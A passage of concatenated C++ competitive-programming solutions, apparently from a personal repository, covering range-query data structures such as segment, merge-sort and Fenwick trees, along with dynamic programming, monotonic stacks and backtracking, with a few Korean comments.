if (x > e || y < s) return 0;
if (x <= s && e <= y) return mt[node].end() - upper_bound(mt[node].begin(), mt[node].end(), k);
int mid = (s + e) / 2;
return q(node * 2, s, mid, x, y, k) + q(node * 2 + 1, mid + 1, e, x, y, k);
}
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
cin >> n;
while (sz < n) sz *= 2;
for (int i = 0; i < n; i++) {
int a;
cin >> a;
add(i, a);
}
for (int i = 1; i < sz * 2; i++) sort(mt[i].begin(), mt[i].end());
cin >> m;
int last_ans = 0;
for (int i = 0; i < m; i++) {
int a, b, c;
cin >> a >> b >> c;
a ^= last_ans;
b ^= last_ans;
c ^= last_ans;
last_ans = q(1, 1, sz, a, b, c);
cout << last_ans << "\n";
}
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
#define PI 3.141592653589793238462643383279502884e+00
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
int n, k;
int tree[400001], x[100001];
void add(int x, int k) {
k += n;
tree[k] = x;
for (k /= 2; k >= 1; k /= 2) {
tree[k] = tree[2 * k] * tree[2 * k + 1];
}
}
int q(int a, int b) {
a += n, b += n;
int res = 1;
while (a <= b) {
if (a % 2 == 1) res *= tree[a++];
if (b % 2 == 0) res *= tree[b--];
a /= 2, b /= 2;
}
return res;
}
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
while (1) {
cin >> n >> k;
fill(tree, tree + 400000, 1);
fill(x, x + 100000, 1);
if (cin.eof() == true) break;
for (int i = 0; i < n; i++) cin >> x[i];
int sz = 1;
while (sz < n) sz *= 2;
n = sz;
for (int i = 0; i < n; i++) {
if (x[i] > 0) add(1, i);
else if (x[i] == 0) add(0, i);
else add(-1, i);
}
for (int i = 0; i < k; i++) {
char c;
int a, b;
cin >> c >> a >> b;
if (c == 'C') {
if (b > 0) add(1, a - 1);
else if (b == 0) add(0, a - 1);
else add(-1, a - 1);
}
else {
int res = q(a - 1, b - 1);
if (res > 0) cout << "+";
else if (res == 0) cout << "0";
else cout << "-";
}
}
cout << "\n";
}
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
int k[200001];
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
int n, t;
cin >> n >> t;
for (int i = 0; i < n; i++) cin >> k[i];
ll lo = 0, hi = 1e18, res = 1e18;
while (lo <= hi) {
ll mid = (lo + hi) >> 1;
ll sum = 0;
for (int i = 0; i < n; i++) {
sum += mid / k[i];
if (sum >= t) break;
}
if (sum >= t) {
hi = mid - 1;
res = min(res, mid);
}
else lo = mid + 1;
}
cout << res << "\n";
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
string s, op = "+-*/()";
cin >> s;
stack<char> st;
string res = "";
for (int i = 0; i < s.length(); i++) {
if (op.find(s[i]) == string::npos) {
res += s[i];
}
else {
if (s[i] == '(') st.push(s[i]);
else if (s[i] == ')') {
while (st.top() != '(') {
res += st.top();
st.pop();
}
st.pop();
}
else if (s[i] == '+' || s[i] == '-') {
while (!st.empty() && st.top() != '(') {
res += st.top();
st.pop();
}
st.push(s[i]);
}
else {
while (!st.empty() && (st.top() == '*' || st.top() == '/')) {
res += st.top();
st.pop();
}
st.push(s[i]);
}
}
}
while (!st.empty()) {
res += st.top();
st.pop();
}
cout << res << "\n";
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
int t;
cin >> t;
while (t--){
int n;
cin >> n;
int sum = 0, res = -2e9;
for (int i = 0; i < n; i++) {
int x;
cin >> x;
if (sum < 0) sum = 0;
sum += x;
res = max(res, sum);
}
cout << res << "\n";
}
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
int c[101], dp[1000001];
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
int n, x;
cin >> n >> x;
for (int i = 0; i < n; i++) cin >> c[i];
dp[0] = 1;
for (int i = 1; i <= x; i++) {
for (int j = 0; j < n; j++) {
if (i - c[j] >= 0) {
dp[i] += dp[i - c[j]];
dp[i] %= MOD;
}
}
}
cout << dp[x] << "\n";
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
int a[100001], p[100001];
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
int n, s;
cin >> n >> s;
for (int i = 0; i < n; i++) {
cin >> a[i];
p[i + 1] = p[i] + a[i];
}
int res = 2e9;
for (int i = 1, j = 0; i <= n; i++) {
if (p[i] >= s) {
while (p[i] - p[j] >= s) {
res = min(res, i - j);
j++;
}
}
}
if (res == 2e9) cout << "0\n";
else cout << res << "\n";
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
#define PI 3.141592653589793238462643383279502884e+00
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
int a[1001][1001];
int r, c;
string up() {
string res = "";
for (int i = 1; i < r; i++) {
res += "U";
}
return res;
}
string down() {
string res = "";
for (int i = 1; i < r; i++) {
res += "D";
}
return res;
}
string left() {
string res = "";
for (int i = 1; i < c; i++) {
res += "L";
}
return res;
}
string right() {
string res = "";
for (int i = 1; i < c; i++) {
res += "R";
}
return res;
}
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
cin >> r >> c;
for (int i = 0; i < r; i++) {
for (int j = 0; j < c; j++) {
cin >> a[i][j];
}
}
string ans = "";
if (r % 2 != 0 || c % 2 != 0) {
if (r % 2 == 0) {
// 아래쪽 끝, right, 위쪽 끝, right
for (int i = 0; i < c / 2; i++) {
ans += down();
ans += "R";
ans += up();
ans += "R";
}
ans += down();
}
else {
// 오른쪽 끝, down, 왼쪽 끝, down
for (int i = 0; i < r / 2; i++) {
ans += right();
ans += "D";
ans += left();
ans += "D";
}
ans += right();
}
}
else {
// 행 + 열이 홀수인 칸 1개 제외 가능
int mr = -1, mc = -1;
int t = 2e9;
// 지울 수 있는 제일 작은 칸을 찾음
for (int i = 0; i < r; i++) {
for (int j = 0; j < c; j++) {
if ((i + j) % 2 != 0) {
if (a[i][j] < t) {
t = a[i][j];
mr = i;
mc = j;
}
}
}
}
for (int i = 0; i < mr / 2; i++) {
ans += right();
ans += "D";
ans += left();
ans += "D";
}
for (int i = 0; i < mc / 2; i++) {
ans += "D";
ans += "R";
ans += "U";
ans += "R";
}
if (mc % 2 > mr % 2) ans += "DR";
else ans += "RD";
for (int i = 0; i < (c - mc - 1) / 2; i++) {
ans += "R";
ans += "U";
ans += "R";
ans += "D";
}
for (int i = 0; i < (r - mr - 1) / 2; i++) {
ans += "D";
ans += left();
ans += "D";
ans += right();
}
}
cout << ans << "\n";
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
int n, m;
cin >> n >> m;
multiset<int> ms;
for (int i = 0; i < n; i++) {
int x;
cin >> x;
ms.insert(-x);
}
for (int i = 0; i < m; i++) {
int x;
cin >> x;
auto it = ms.lower_bound(-x);
if (it == ms.end()) cout << "-1\n";
else {
cout << -(*it) << "\n";
ms.erase(it);
}
}
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
#define PI 3.141592653589793238462643383279502884e+00
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
int m[6] = { 500, 100, 50, 10, 5, 1 };
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
int a;
cin >> a;
a = 1000 - a;
int i = 0, res = 0;
while (a) {
if (a / m[i] != 0) {
res += a / m[i];
a %= m[i];
}
i++;
}
cout << res << "\n";
}
<file_sep>Range Queries 관련 문제들
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
int n, m;
cin >> n >> m;
deque<int> dq, dql, dqr;
int res = 0;
for (int i = 1; i <= n; i++) dq.push_back(i);
for (int i = 0; i < m; i++) {
int x;
cin >> x;
dql = dqr = dq;
while (1) {
if (dql.front() == x) {
dql.pop_front();
dq = dql;
break;
}
else if (dqr.front() == x) {
dqr.pop_front();
dq = dqr;
break;
}
dql.push_back(dql.front());
dql.pop_front();
dqr.push_front(dqr.back());
dqr.pop_back();
res++;
}
}
cout << res << "\n";
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
#define PI 3.141592653589793238462643383279502884e+00
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
int n;
cin >> n;
stack<pii> st;
ll res = 0;
for (int i = 0; i < n; i++) {
int x;
cin >> x;
while (!st.empty() && st.top().first > x) {
auto s = st.top();
st.pop();
ll w = i;
if (!st.empty()) w = i - st.top().second - 1;
res = max(res, s.first * w);
}
st.push({ x, i });
}
while (!st.empty()) {
auto s = st.top();
st.pop();
ll w = n;
if (!st.empty()) w = n - st.top().second - 1;
res = max(res, s.first * w);
}
cout << res << "\n";
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
int a[500001];
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
int n;
cin >> n;
for (int i = 0; i < n; i++) cin >> a[i];
stack<pll> st;
ll res = 0;
for(int i = 0; i < n; i++){
ll cnt = 1;
if(!st.empty()) {
while (a[st.top().first] <= a[i]) {
res += st.top().second;
if (a[st.top().first] == a[i]) cnt = st.top().second + 1;
st.pop();
if (st.empty()) break;
}
if (!st.empty()) res++;
}
st.push({ i, cnt });
}
cout << res << "\n";
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
#define PI 3.141592653589793238462643383279502884e+00
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
int A[4001], B[4001], C[4001], D[4001];
int main() {
int n;
cin >> n;
for (int i = 0; i < n; i++) {
int a, b, c, d;
cin >> a >> b >> c >> d;
A[i] = a, B[i] = b, C[i] = c, D[i] = d;
}
vector<int> v1, v2;
for (int i = 0; i < n; i++) {
for (int j = 0; j < n; j++) {
v1.push_back(A[i] + B[j]);
v2.push_back(C[i] + D[j]);
}
}
sort(v2.begin(), v2.end());
ll cnt = 0;
for (int i = 0; i < n * n; i++) {
cnt += upper_bound(v2.begin(), v2.end(), -v1[i]) - lower_bound(v2.begin(), v2.end(), -v1[i]);
}
cout << cnt << "\n";
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
#define PI 3.141592653589793238462643383279502884e+00
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
int n, m, sz = 1;
vector<int> mt[400001];
void add(int k, int x) {
k += sz;
mt[k].push_back(x);
for (k /= 2; k >= 1; k /= 2) {
mt[k].push_back(x);
}
}
int q(int x, int y, int k) {
x += sz, y += sz;
int ret = 0;
while (x <= y) {
if (x % 2 == 1) {
ret += upper_bound(mt[x].begin(), mt[x].end(), k) - mt[x].begin();
x++;
}
if (y % 2 == 0) {
ret += upper_bound(mt[y].begin(), mt[y].end(), k) - mt[y].begin();
y--;
}
x /= 2, y /= 2;
}
return ret;
}
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
cin >> n >> m;
while (sz < n) sz *= 2;
for (int i = 0; i < n; i++) {
int a;
cin >> a;
add(i, a);
}
for (int i = 1; i < sz * 2; i++) sort(mt[i].begin(), mt[i].end());
for (int i = 0; i < m; i++) {
int x, y, z;
cin >> x >> y >> z;
int lo = -1e9, hi = 1e9;
while (lo <= hi) {
int mid = (lo + hi) / 2;
if (q(x - 1, y - 1, mid) < z) lo = mid + 1;
else hi = mid - 1;
}
cout << lo << "\n";
}
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
int dp[5001][5001];
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
string a, b;
cin >> a >> b;
for (int i = 0; i <= a.length(); i++) {
for (int j = 0; j <= b.length(); j++) {
if (i == 0) dp[i][j] = j;
else if (j == 0) dp[i][j] = i;
else if (a[i - 1] == b[j - 1]) dp[i][j] = dp[i - 1][j - 1];
else dp[i][j] = min({ dp[i - 1][j - 1], dp[i - 1][j], dp[i][j - 1] }) + 1;
}
}
cout << dp[a.length()][b.length()] << "\n";
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
pii a[200001];
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
int n, x;
cin >> n >> x;
for (int i = 0; i < n; i++) {
cin >> a[i].first;
a[i].second = i + 1;
}
sort(a, a + n);
int sum = 0;
for (int i = 0, l = n - 1; i < n; i++) {
if (i == l) break;
sum = a[i].first + a[l].first;
if (sum < x) continue;
else if (sum > x) {
l--;
i--;
}
else {
cout << a[i].second << " " << a[l].second << "\n";
return 0;
}
}
cout << "IMPOSSIBLE\n";
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
int a[1001][1001];
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
int n, k;
cin >> n >> k;
for (int i = 0; i < n; i++) {
int x1, y1, x2, y2;
cin >> x1 >> y1 >> x2 >> y2;
for (int j = x1; j < x2; j++) {
a[j][y1]++;
a[j][y2]--;
}
}
int cnt = 0;
for (int i = 0; i < 1001; i++) {
for (int j = 0; j < 1001; j++) {
if (a[i][j] == k) cnt++;
a[i][j + 1] += a[i][j];
}
}
cout << cnt << "\n";
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
#define PI 3.141592653589793238462643383279502884e+00
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
int n, m, sz = 1;
ll tree[4000001], lazy[4000001];
void propagate(int node, int s, int e) {
if (lazy[node]) {
if (node < sz) {
lazy[node * 2] ^= lazy[node];
lazy[node * 2 + 1] ^= lazy[node];
}
else tree[node] ^= lazy[node];
lazy[node] = 0;
}
}
void add(int node, int s, int e, int l, int r, int k) {
propagate(node, s, e);
if (r < s || e < l) return;
if (l <= s && e <= r) {
lazy[node] ^= k;
propagate(node, s, e);
return;
}
int mid = (s + e) / 2;
add(node * 2, s, mid, l, r, k);
add(node * 2 + 1, mid + 1, e, l, r, k);
tree[node] = tree[node * 2] ^ tree[node * 2 + 1];
}
ll q(int node, int s, int e, int l, int r) {
propagate(node, s, e);
if (r < s || e < l) return 0;
if (l <= s && e <= r) return tree[node];
int mid = (s + e) / 2;
return q(node * 2, s, mid, l, r) ^ q(node * 2 + 1, mid + 1, e, l, r);
}
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
cin >> n;
while (sz < n) sz *= 2;
for (int i = 0; i < n; i++) cin >> tree[sz + i];
for (int i = sz - 1; i > 0; i--) tree[i] = tree[i * 2] ^ tree[i * 2 + 1];
cin >> m;
for (int i = 0; i < m; i++) {
int a, b, c, d;
cin >> a;
if (a == 1) {
cin >> b >> c >> d;
add(1, 1, sz, b + 1, c + 1, d);
}
else {
cin >> b >> c;
cout << q(1, 1, sz, b + 1, c + 1) << "\n";
}
}
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
int n;
cin >> n;
ll best = -2e9, sum = -2e9;
for (int i = 0; i < n; i++) {
ll x;
cin >> x;
sum = max(x, sum + x);
best = max(best, sum);
}
cout << best << "\n";
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
int a[100001], p[100001];
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
int n, m;
cin >> n >> m;
for (int i = 0; i < n; i++) {
cin >> a[i];
p[i + 1] = a[i] + p[i];
}
for (int k = 0; k < m; k++) {
int i, j;
cin >> i >> j;
cout << p[j] - p[i - 1] << "\n";
}
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
int a[1001];
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
while (1) {
int n, m;
cin >> n >> m;
if (n == 0 && m == 0) break;
stack<int> st;
memset(a, 0, sizeof(a));
int res = 0;
for (int i = 0; i < n; i++) {
for (int j = 0; j < m; j++) {
int x;
cin >> x;
if (x == 1) a[j]++;
else a[j] = 0;
while (!st.empty() && a[st.top()] > a[j]) {
int h = a[st.top()];
st.pop();
int w = j;
if (!st.empty()) w = j - st.top() - 1;
res = max(res, h * w);
}
st.push(j);
}
while (!st.empty()) {
int h = a[st.top()];
st.pop();
int w = m;
if (!st.empty()) w = m - st.top() - 1;
res = max(res, h * w);
}
}
cout << res << "\n";
}
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
pii a[200001];
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
int n;
cin >> n;
for (int i = 0; i < n; i++) cin >> a[i].first >> a[i].second;
sort(a, a + n);
ll res = 0, f = 0;
for (int i = 0; i < n; i++) {
f += a[i].first;
res += a[i].second - f;
}
cout << res << "\n";
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
#define PI 3.141592653589793238462643383279502884e+00
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
int a[2001];
int comp(pair<pii, int> i, pair<pii, int>j) {
if (i.first.second == j.first.second) return i.first.first < j.first.first;
return i.first.second < j.first.second;
}
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
int n, c, m;
cin >> n >> c;
cin >> m;
vector<pair<pii, int>> v(m);
for (int i = 0; i < m; i++) cin >> v[i].first.first >> v[i].first.second >> v[i].second;
sort(v.begin(), v.end(), comp);
int res = 0;
for (int i = 0; i < v.size(); i++) {
int x = 0;
for (int j = v[i].first.first; j < v[i].first.second; j++) x = max(x, a[j]);
int left = min(v[i].second, c - x);
res += left;
for (int j = v[i].first.first; j < v[i].first.second; j++) a[j] += left;
}
cout << res << "\n";
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
#define PI 3.141592653589793238462643383279502884e+00
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
pii a[200001];
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
int n;
cin >> n;
for (int i = 0; i < n; i++) cin >> a[i].first >> a[i].second;
sort(a, a + n);
priority_queue<int>pq;
for (int i = 0; i < n; i++) {
if (!pq.empty() && -pq.top() <= a[i].first) {
pq.pop();
}
pq.push(-a[i].second);
}
cout << pq.size() << "\n";
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
int a[1000001], NGE[1000001];
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
int n;
cin >> n;
for (int i = 0; i < n; i++) cin >> a[i];
stack<int> st;
for (int i = n - 1; i >= 0; i--) {
while (!st.empty() && st.top() <= a[i]) st.pop();
if (st.empty()) NGE[i] = -1;
else NGE[i] = st.top();
st.push(a[i]);
}
for (int i = 0; i < n; i++)cout << NGE[i] << " ";
cout << "\n";
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
int n, a;
cin >> n;
vector<pii> v;
for (int i = 0; i < n; i++) {
cin >> a;
while (!v.empty() && v.back().first >= a) {
v.pop_back();
}
if (v.empty()) cout << "0 ";
else {
cout << v.back().second << " ";
}
v.push_back({ a, i + 1 });
}
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
int h[1001], s[1001], dp[1001][100001];
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
int n, x;
cin >> n >> x;
for (int i = 1; i <= n; i++) cin >> h[i];
for (int i = 1; i <= n; i++) cin >> s[i];
for (int i = 1; i <= n; i++) {
for (int j = 1; j <= x; j++) {
dp[i][j] = dp[i - 1][j];
if (j - h[i] >= 0) dp[i][j] = max(dp[i - 1][j], dp[i - 1][j - h[i]] + s[i]);
}
}
cout << dp[n][x] << "\n";
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
int a[100001], p[2][100001];
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
int n;
cin >> n;
for (int i = 0; i < n; i++) cin >> a[i];
p[0][0] = a[0];
int res = a[0];
for (int i = 1; i < n; i++) {
p[0][i] = max(p[0][i - 1] + a[i], a[i]);
p[1][i] = max(p[1][i - 1] + a[i], p[0][i - 1]);
res = max(res, max(p[0][i], p[1][i]));
}
cout << res << "\n";
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
int n, q;
int a[1001][1001];
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
cin >> n >> q;
for (int i = 1; i <= n; i++) {
for (int j = 1; j <= n; j++) {
char c;
cin >> c;
a[i][j] = a[i - 1][j] + a[i][j - 1] - a[i - 1][j - 1] + (c == '*' ? 1 : 0);
}
}
for (int i = 0; i < q; i++) {
int x1, y1, x2, y2;
int res = 0;
cin >> x1 >> y1 >> x2 >> y2;
res = a[x2][y2] - a[x2][y1 - 1] - a[x1 - 1][y2] + a[x1 - 1][y1 - 1];
cout << res << "\n";
}
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
pll a[1001];
vector<pair<ll, pll>> ta;
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
int n, x;
cin >> n >> x;
for (int i = 0; i < n; i++) {
cin >> a[i].first;
a[i].second = i + 1;
}
for (int i = 0; i < n - 1; i++) {
for (int j = i + 1; j < n; j++) {
ta.push_back({ a[i].first + a[j].first, {a[i].second, a[j].second} });
}
}
sort(ta.begin(), ta.end());
for (int i = 0; i < ta.size(); i++) {
ll f = ta[i].first;
int a1 = ta[i].second.first, a2 = ta[i].second.second;
auto it = lower_bound(ta.begin() + i + 1, ta.end(), pair<ll, pll>{ x - f, { 0, 0 } });
if (it != ta.end()) {
if (f + it->first == x) {
int a3 = it->second.first, a4 = it->second.second;
if (a1 == a3 || a1 == a4 || a2 == a3 || a2 == a4) continue;
else {
cout << a1 << " " << a2 << " " << a3 << " " << a4 << "\n";
return 0;
}
}
}
}
cout << "IMPOSSIBLE\n";
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
#define PI 3.141592653589793238462643383279502884e+00
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
int x[200001], tree[200001];
int n;
int sum(int k) {
int s = 0;
while (k >= 1) {
s += tree[k];
k -= k & -k;
}
return s;
}
void add(int k, int x) {
while (k <= n) {
tree[k] += x;
k += k & -k;
}
}
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
cin >> n;
for (int i = 1; i <= n; i++) {
cin >> x[i];
add(i, 1);
}
for (int i = 0; i < n; i++) {
int p;
cin >> p;
int lo = 0, hi = n;
while (lo <= hi) {
int mid = lo - (lo - hi) / 2;
if (sum(mid) < p)lo = mid + 1;
else hi = mid - 1;
}
cout << x[lo] << " ";
add(lo, -1);
}
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
int n, q;
ll x[200001], tree[200001];
ll sum(int k) {
ll s = 0;
while (k >= 1) {
s += tree[k];
k -= k & -k;
}
return s;
}
void add(int k, ll x) {
while (k <= n) {
tree[k] += x;
k += k & -k;
}
}
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
cin >> n >> q;
for (int i = 1; i <= n; i++) {
cin >> x[i];
add(i, x[i]);
}
for (int i = 0; i < q; i++) {
int t, a, b;
cin >> t >> a >> b;
if (t == 1) {
ll diff = b - x[a];
x[a] = b;
add(a, diff);
}
else cout << sum(b) - sum(a - 1) << "\n";
}
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
int n, m;
int h[1000001], r[1000001], tree[1000001];
int query(int x) {
int j = 1;
while (j < n) {
int m = j;
if (x > tree[j]) break;
if (x <= tree[2 * j]) m = 2 * j;
else m = 2 * j + 1;
j = m;
}
return j;
}
void add(int k, int x) {
k += n;
tree[k] += x;
for (k /= 2; k >= 1; k /= 2) {
tree[k] = max(tree[2 * k], tree[2 * k + 1]);
}
}
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
cin >> n >> m;
for (int i = 0; i < n; i++) cin >> h[i];
int sz = 1;
while (sz < n) sz *= 2;
n = sz;
for (int i = n; i < 2 * n; i++) add(i - n, h[i - n]);
for (int i = 0; i < m; i++) {
cin >> r[i];
int j = query(r[i]);
if (j == 1) cout << "0 ";
else {
add(j - n, -r[i]);
cout << j - n + 1 << " ";
}
}
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
char a[9][9];
int col[20], diag[20], diag2[20];
int cnt;
void solve(int y) {
if (y == 8) {
cnt++;
return;
}
for (int x = 0; x < 8; x++) {
if (col[x] || diag[x + y] || diag2[x - y + 7] || a[y][x] == '*') continue;
col[x] = diag[x + y] = diag2[x - y + 7] = 1;
solve(y + 1);
col[x] = diag[x + y] = diag2[x - y + 7] = 0;
}
}
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
for (int i = 0; i < 8; i++) {
for (int j = 0; j < 8; j++) {
cin >> a[i][j];
}
}
solve(0);
cout << cnt << "\n";
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
int n, l;
cin >> n >> l;
deque<pii> dq;
for (int i = 1; i <= n; i++) {
int a;
cin >> a;
while (!dq.empty() && i - dq.front().second >= l) {
dq.pop_front();
}
while (!dq.empty() && dq.back().first >= a) {
dq.pop_back();
}
dq.push_back({ a, i });
cout << dq.front().first << " ";
}
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
int n;
cin >> n;
if (n == 2 || n == 3) cout << "NO SOLUTION\n";
else {
for (int i = 1; i <= n; i++) {
if (i % 2 == 0) cout << i << " ";
}
for (int i = 1; i <= n; i++) {
if (i % 2 == 1) cout << i << " ";
}
}
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
#define PI 3.141592653589793238462643383279502884e+00
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
int n, m, sz = 1;
vector<int> mt[400001];
void add(int k, int x) {
k += sz;
mt[k].push_back(x);
for (k /= 2; k >= 1; k /= 2) {
mt[k].push_back(x);
}
}
int q(int x, int y ,int k) {
x += sz, y += sz;
int ret = 0;
while (x <= y) {
if (x % 2 == 1) {
ret += mt[x].end() - upper_bound(mt[x].begin(), mt[x].end(), k);
x++;
}
if (y % 2 == 0) {
ret += mt[y].end() - upper_bound(mt[y].begin(), mt[y].end(), k);
y--;
}
x /= 2, y /= 2;
}
return ret;
}
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
cin >> n;
while (sz < n) sz *= 2;
for (int i = 0; i < n; i++) {
int a;
cin >> a;
add(i, a);
}
for (int i = 1; i < sz * 2; i++) sort(mt[i].begin(), mt[i].end());
cin >> m;
for (int i = 0; i < m; i++) {
int a, b, c;
cin >> a >> b >> c;
